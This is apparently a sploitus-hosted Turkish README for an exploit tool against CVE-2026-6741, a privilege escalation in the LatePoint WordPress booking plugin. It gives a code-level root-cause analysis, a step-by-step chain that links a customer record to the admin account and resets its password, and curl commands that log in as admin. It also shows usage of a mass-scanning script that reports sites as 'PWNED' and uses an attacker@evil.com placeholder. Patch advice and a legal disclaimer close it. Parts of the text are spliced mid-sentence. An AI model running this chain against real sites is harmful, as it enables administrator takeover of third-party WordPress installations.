Share
## https://sploitus.com/exploit?id=34582754-106B-53E6-8378-F86E73C48C3F
# CVE-2026-6741
CVE-2026-6741 is a CVSS 8.8 (High) Authenticated (Agent+) Privilege Escalation vulnerability in the LatePoint – Calendar Booking Plugin
# CVE-2026-6741 — LatePoint Privilege Escalation Scanner

> **Plugin:** LatePoint – Calendar Booking Plugin for Appointments and Events (`latepoint`)
> **CVE ID:** CVE-2026-6741
> **CVSS Score:** 8.8 (High)
> **CVSS Vector:** `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`
> **Zafiyet Türü:** Authenticated (Agent+) Privilege Escalation → Administrator Takeover
> **Etkilenen Sürümler:**  **Yamalı Sürüm:** 5.4.2
> **Yayın Tarihi:** 27 Nisan 2026
> **Araştırmacılar:** skyv3il (AI SAFE), Chirita Catalin-Andrei / CC99IE (UVT-CTF), AmonRa — Wordfence

---

## 📌 Zafiyet Hakkında

`latepoint_agent` rolüne sahip kimliği doğrulanmış bir saldırgan,
herhangi bir LatePoint customer kaydını WordPress yönetici hesabına
bağlayabilir ve ardından LatePoint'in kendi şifre sıfırlama akışını
kullanarak yöneticinin şifresini değiştirebilir.

Bu durum **tam site ele geçirimesiyle** sonuçlanır.

---

## 🔍 Zafiyet Özeti

| Alan | Değer |
|---|---|
| **Plugin Adı** | LatePoint – Calendar Booking Plugin |
| **Plugin Slug** | `latepoint` |
| **CVE ID** | CVE-2026-6741 |
| **CVSS Skoru** | 8.8 (High) |
| **Zafiyet Türü** | Authenticated (Agent+) Privilege Escalation |
| **Etkilenen Sürüm** | id         = 'latepoint/connect-customer-to-wp-user';
    $this->label      = __( 'Connect customer to WP user', 'latepoint' );
    $this->permission = 'customer__edit';   // ← tek kontrol: bu capability
}
```

Agent rolü varsayılan olarak `customer__edit` yetkisine sahiptir:

```php
// lib/helpers/roles_helper.php — line 401
public static function get_default_capabilities_list_for_agent_role() {
    $capabilities = [
        ...
        'customer__edit',   // ← agent bu yetkiye sahip
        ...
    ];
}
```

#### 2 — execute() — Rol Kontrolü Yok

```php
// connect-customer-to-wp-user.php — lines 39–60
public function execute( array $args ) {
    $customer   = new OsCustomerModel( (int) $args['customer_id'] );
    $wp_user_id = (int) $args['wp_user_id'];

    if ( ! get_userdata( $wp_user_id ) ) {
        // Sadece kullanıcının var olup olmadığı kontrol ediliyor
        // EKSIK: Hedef kullanıcının rolü kontrol edilmiyor
        return new WP_Error( 'wp_user_not_found', ... );
    }

    $customer->wordpress_user_id = $wp_user_id;  // ← herhangi WP user'a bağla
    $customer->save();

    return $this->serialize_customer( ... );
}
```

#### 3 — Şifre Sıfırlama Zinciri

```php
// lib/models/customer_model.php — line 315
public function update_password( $password ) {
    if ( OsAuthHelper::can_wp_users_login_as_customers()
         && $this->wordpress_user_id ) {
        wp_set_password( $password, $this->wordpress_user_id );
        // ↑ wordpress_user_id artık admin ID'si → admin şifresi değişir
    }
}
```

---

### Neden Mevcut Kontroller Yetersiz?

```php
// LatePointAbstractAbility — check_permission()
public function check_permission(): bool {
    return OsRolesHelper::can_user( $this->permission );
    // Sadece ÇAĞIRANIN yetkisini kontrol eder
    // HEDEF kullanıcının rolünü kontrol etmez
}
```

---

## 🔴 Saldırı Zinciri

```
latepoint_agent hesabı
        │
        ▼
1. Agent olarak WP'ye giriş yap → REST nonce al
        │
        ▼
2. Hedef admin WordPress user ID'sini tespit et
   (wp-json/wp/v2/users veya ID=1)
        │
        ▼
3. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
   { "customer_id": 5, "wp_user_id": 1 }
   → Rol kontrolü yok → Başarılı
        │
        ▼
4. LatePoint forgot_password → customer emailine reset token gönder
        │
        ▼
5. Token ile change_password → update_password() çağrılır
   → wp_set_password("Hacked!", 1)
   → Admin şifresi değişti
        │
        ▼
6. Yeni şifreyle admin olarak giriş → Tam site kontrolü ✓
```

---

## 🧪 Proof of Concept (Manuel)

> ⚠️ **Disclaimer:** This PoC is provided for educational and defensive
> security research purposes only.

**Ön Koşullar:**
- WordPress 6.9+ (Abilities API gerekli)
- LatePoint "
NEW_PASSWORD="Attacker_Password123!"

curl -s -X POST \
  "$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"
```

Bu çağrı `update_password()` → `wp_set_password($NEW_PASSWORD, 1)` zincirini
tetikler. **Admin şifresi değişti.**

---

### Adım 6 — Admin Olarak Giriş Yap

```bash
curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST \
  "$WP_URL/wp-login.php" \
  -d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"
```

---

### Doğrulama

```bash
# wp-admin erişimi
curl -b admin_cookies.txt "$WP_URL/wp-admin/user-new.php"
# Beklenen: 200 OK (wp-login.php'ye yönlendirme değil)

# REST API ile rol doğrulama
ADMIN_NONCE=$(curl -s -b admin_cookies.txt \
  "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")

curl -s "$WP_URL/wp-json/wp/v2/users/me" \
  -H "X-WP-Nonce: $ADMIN_NONCE" | python3 -m json.tool
# Beklenen: "roles": ["administrator"]
```

---

## 🛠️ Otomatik Tarayıcı

### Kurulum

```bash
git clone https://github.com/kullanici/cve-2026-6741-scanner
cd cve-2026-6741-scanner
pip install -r requirements.txt
```

**requirements.txt**

```
requests
```

---

## 🚀 Kullanım

### Tekil Hedef — Tam Otomatik

```bash
python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123!
```

### Admin ID ve Customer ID Manuel Belirt

```bash
python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123! \
  --admin-id 1 \
  --customer-id 5 \
  --customer-email attacker@evil.com
```

### 2. Aşama — Reset Token ile Şifre Değiştir

```bash
python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123! \
  --admin-id 1 \
  --customer-id 5 \
  --customer-email attacker@evil.com \
  --reset-token abc123xyz \
  --new-password Hacked_2026!
```

### Toplu Tarama

```bash
python latepoint_privesc.py -l targets.txt -t 10 \
  --agent-user agent1 --agent-pass Pass123! \
  -o sonuclar.txt
```

### Proxy ile (Burp Suite)

```bash
python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123! \
  --proxy http://127.0.0.1:8080
```

---

## ⚙️ Parametreler

### Genel

| Parametre | Kısa | Açıklama | Varsayılan |
|---|---|---|---|
| `--url` | `-u` | Tekil hedef URL | — |
| `--list` | `-l` | Hedef listesi dosyası | — |
| `--threads` | `-t` | Thread sayısı | `5` |
| `--output` | `-o` | Çıktı dosyası | `privesc_results.txt` |
| `--proxy` | — | Proxy URL | — |
| `--timeout` | — | İstek timeout (sn) | `10` |
| `--force` | — | Abilities API tespiti başarısız olsa devam et | `False` |

### Agent Kimlik Bilgileri

| Parametre | Açıklama |
|---|---|
| `--agent-user` | Agent kullanıcı adı *(zorunlu)* |
| `--agent-pass` | Agent şifresi *(zorunlu)* |

### Hedef Parametreler

| Parametre | Açıklama | Varsayılan |
|---|---|---|
| `--admin-id` | Hedef admin WP user ID | otomatik tespit |
| `--customer-id` | Kontrol edilen LatePoint customer ID | otomatik tespit |
| `--customer-email` | LatePoint customer email adresi | agent email |

### Şifre Sıfırlama (2. Aşama)

| Parametre | Açıklama | Varsayılan |
|---|---|---|
| `--reset-token` | Emailden alınan reset token | — |
| `--new-password` | Yeni admin şifresi | `Pwned_CVE2026_6741!` |

---

## 📊 Tarayıcı Çıktı Durumları

| Durum | Açıklama |
|---|---|
| `★ PWNED` | Admin şifresi değişti, oturum açıldı |
| `~ RESET_SENT` | Reset emaili gönderildi — token bekleniyor |
| `~ PWD_CHANGE` | Şifre değişti — admin girişi manuel doğrula |
| `- LINK_FAIL` | Customer-Admin bağlama başarısız |
| `- LOGIN_FAIL` | Agent girişi başarısız |
| `- NO_PLUGIN` | LatePoint kurulu değil |
| `- NO_ABILITY` | Abilities API kapalı (WP 6.9+ gerekli) |
| `~ NO_CUST` | Customer ID bulunamadı — manuel belirt |
| `~ UNREACH` | Hedefe ulaşılamıyor |

---

## 🖥️ Örnek Tarayıcı Çıktısı

```
[*] Hedef         : http://hedef.com
[*] Agent         : agent1
[*] Admin ID      : otomatik tespit
[*] Customer ID   : otomatik tespit
[*] Reset Token   : email bekleniyor
[*] Yeni Şifre    : Pwned_CVE2026_6741!

[→] http://hedef.com  Adım 1/6: Agent girişi...
[→] http://hedef.com  Adım 2/6: Admin user ID tespiti...
[→] http://hedef.com  Adım 3/6: Customer ID tespiti...
[→] http://hedef.com  Adım 4/6: Customer #5 → Admin #1 bağlanıyor...
[→] http://hedef.com  Adım 5/6: Şifre sıfırlama başlatılıyor...
[→] http://hedef.com  Adım 6/6: Şifre değiştiriliyor (manuel token)...

════════════════════════════════════════════════════════════
[★ PWNED     ] http://hedef.com
  Sürüm       : 5.4.1
  Admin ID    : 1
  Customer    : #5 
  Kullanıcı   : admin  roles=['administrator']
════════════════════════════════════════════════════════════

[+] Kaydedildi → privesc_results.txt
```

---

## 🔄 İki Aşamalı Kullanım Akışı

```
┌─────────────────────────────────────────────────────────┐
│  AŞAMA 1 — Bağla + Reset Emaili Gönder                 │
│                                                         │
│  python latepoint_privesc.py -u http://hedef.com \      │
│    --agent-user agent1 --agent-pass Pass123! \          │
│    --customer-id 5 --customer-email attacker@evil.com   │
│                                                         │
│  → Çıktı: "Reset emaili gönderildi — token bekleniyor" │
└─────────────────────────┬───────────────────────────────┘
                           │
                  Email'den token al
                           │
┌─────────────────────────▼───────────────────────────────┐
│  AŞAMA 2 — Token ile Şifreyi Değiştir                  │
│                                                         │
│  python latepoint_privesc.py -u http://hedef.com \      │
│    --agent-user agent1 --agent-pass Pass123! \          │
│    --customer-id 5 --customer-email attacker@evil.com \ │
│    --reset-token abc123xyz \                            │
│    --new-password Hacked_2026!                          │
│                                                         │
│  → Çıktı: ★ PWNED — roles=['administrator']            │
└─────────────────────────────────────────────────────────┘
```

---

## 🛡️ Savunma / Yama

| Önlem | Uygulama |
|---|---|
| **Eklenti Güncellemesi** | LatePoint 5.4.2+ sürümüne yükselt |
| **Rol Kontrolü Ekle** | `execute()` içinde hedef kullanıcı rolünü doğrula |
| **Abilities API Kısıtla** | Agent rolünden `connect-customer-to-wp-user` yetkisini kaldır |
| **Şifre Sıfırlama Koruması** | Admin hesapları için LatePoint reset akışını devre dışı bırak |
| **WP 6.9 Abilities Denetimi** | Kayıtlı ability'leri düzenli olarak gözden geçir |

Güvenli `execute()` örneği:

```php
// Güvensiz (mevcut — 5.4.1)
if ( ! get_userdata( $wp_user_id ) ) {
    return new WP_Error( 'wp_user_not_found', ... );
}

// Güvenli (önerilen — 5.4.2+)
$target_user = get_userdata( $wp_user_id );
if ( ! $target_user ) {
    return new WP_Error( 'wp_user_not_found', ... );
}
// Hedef kullanıcının rolünü kontrol et
if ( in_array( 'administrator', (array) $target_user->roles ) ) {
    return new WP_Error( 'forbidden', 'Cannot link customer to administrator.' );
}
```

---

## 📁 Dosya Yapısı

```
cve-2026-6741-scanner/
├── latepoint_privesc.py   # Ana tarayıcı
├── requirements.txt       # Bağımlılıklar
└── README.md              # Bu dosya
```

---

## ⚠️ Yasal Uyarı

> Bu araç ve PoC yalnızca **yetkili sistemlerde**, **eğitim amaçlı** ve
> **penetrasyon testi** kapsamında kullanılmak üzere hazırlanmıştır.
> İzinsiz sistemlerde kullanımı **Türk Ceza Kanunu 243-245. maddeleri**
> ve uluslararası siber suç yasaları kapsamında **suç teşkil eder.**
> Geliştirici, aracın kötüye kullanımından doğacak hiçbir hukuki
> sorumluluk kabul etmez.

---

## 📄 Lisans

MIT License — Yalnızca eğitim ve araştırma amaçlıdır.

---

## 🔗 Referanslar

- [Wordfence Advisory](https://www.wordfence.com/threat-intel/vulnerabilities/)
- [WordPress Abilities API — WP 6.9](https://developer.wordpress.org/news/2025/abilities-api/)
- [LatePoint Plugin Directory](https://wordpress.org/plugins/latepoint/)
- [CVSS 3.1 Calculator](https://www.first.org/cvss/calculator/3.1)
- [CWE-269: Improper Privilege Management](https://cwe.mitre.org/data/definitions/269.html)